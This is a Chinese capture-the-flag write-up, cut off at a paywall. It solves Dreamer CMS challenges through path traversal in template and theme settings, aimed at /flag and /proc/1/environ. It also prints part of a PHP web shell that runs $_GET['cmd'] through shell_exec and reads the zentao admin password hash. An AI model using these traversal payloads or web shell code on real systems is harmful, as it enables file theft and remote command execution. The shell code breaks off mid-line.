0x00 签到
一直点就能得到flag

0x01 Dreamer
拿到题感觉有点儿懵

先下发靶机看一眼

梦想家CMS,好嘛,我直接一手查找官网


直接一手演示中心碰运气

哎嘿嘿,运气不错进去了,突然想起之前有位大佬写的关于Dreamer CMS的代码审计文章了
https://forum.butian.net/index.php/share/2183
想想题目一开始给的提示,flag在根目录下/flag

考虑一下使用后台设置栏目存在任意文件读取漏洞看看能不能读取flag
点击左侧栏中的“栏目/文章”选项进入到栏目管理,新建顶级栏目,创建一个命名为测试的顶级栏目。

在封面模版处,添加路径为:
../../../../../../../../../../flag

点击保存,访问前台,重新访问对应的顶级栏目,得到flag

0x02 Dreamer_revenge

跟上一个题一样
第一种思路是跟上一个题目一样,只不过把访问的文件改成../../.../../../../proc/1/environ

第二种思路是利用后台模板管理可以任意编辑的漏洞
先把default_v2目录复制一份,修改成default_v3。
修改其中的theme.json文件。将其中的themePath值修改成../../../../../../../../../../../../../../

然后打包default_v3成default_v3.zip,到后台风格管理处上传zip文件并启用主题。

此时再去访问模版管理即可从根目录访问所有文件

跟之前一样,访问/proc/1/environ,即可找到flag

0x03 hacker
<?php $servername="127.0.0.1";
$username="root";
$password="123456";
$dbname="zentao";
$conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password);
$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
$stmt=$conn->prepare("SELECT password FROM zt_user WHERE account=\'admin\'");
$stmt->execute();
$result=$stmt->fetch(PDO::FETCH_ASSOC);
$conn=null;
$param=$_GET["cmd"];
$password=$result["password"];
$output=shell_exec($param);
$hex_output=bin2hex($output);
$hex_password=

文章详细介绍了三个网络安全挑战,涉及DreamerCMS的任意文件读取漏洞利用,MySQL数据库的密码解密过程,以及通过PixelJihad和LSB隐藏技术解密隐藏信息来获取flag的方法。每个挑战都包含了解题思路和步骤,展示了代码审计和安全攻防的技巧。
最低0.47元/天 解锁文章
1189





